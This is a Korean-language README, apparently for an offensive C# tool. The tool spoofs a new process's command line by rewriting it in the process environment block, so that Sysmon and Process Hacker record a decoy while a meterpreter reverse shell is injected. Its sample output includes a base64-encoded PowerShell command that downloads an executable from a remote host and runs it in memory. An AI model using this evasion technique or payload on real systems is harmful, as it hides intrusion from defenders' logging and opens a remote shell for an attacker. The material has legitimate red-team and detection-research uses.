plackyhacker/cmdlinespooferC#에서 새 프로세스를 생성할 때 명령줄을 스푸핑하는 방법
C#를 사용하여 명령줄을 스푸핑하면서 meterpreter 셸을 주입하는 예제입니다. 명령줄은 프로세스 환경 블록(PEB)에 저장되며, 새 프로세스가 시작될 때 기록되고 Process Hacker 및 작업 관리자와 같은 도구에 표시됩니다.
이 코드는 Adam Chester/XPN의 How to Argue like Cobalt Strike 블로그를 기반으로 합니다. 이 블로그는 cobalt strike가 비콘을 주입할 때 프로세스의 명령줄을 스푸핑하는 방법을 설명합니다.
저는 이를 기반으로 PowerShell 프로세스를 생성하고 meterpreter 리버스 셸을 주입하는 C# 버전을 만들었습니다. 물론 이를 위해 .Net 바이너리가 필요하지는 않지만, 명령어를 스푸핑할 수 있는 방법을 보여줍니다.
새 프로세스는 스푸핑된 명령줄 인수로 일시 중단된 상태로 시작됩니다.
스푸핑된 명령은 기록되지만, 프로세스 PEB의 명령줄을 변경할 수 있습니다. 메인 스레드가 재개되면 프로세스는 PEB의 새 명령줄을 사용합니다.
코드 실행 결과는 다음과 같습니다:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
이 예제는 PowerShell을 사용하여 meterpreter 리버스 셸을 주입하지만, 스푸핑된 명령줄 인수로 기록됩니다.
Sysmon은 원래(스푸핑된) 명령줄을 기록합니다:
Process Hacker는 실행된 명령을 표시하지 않습니다:
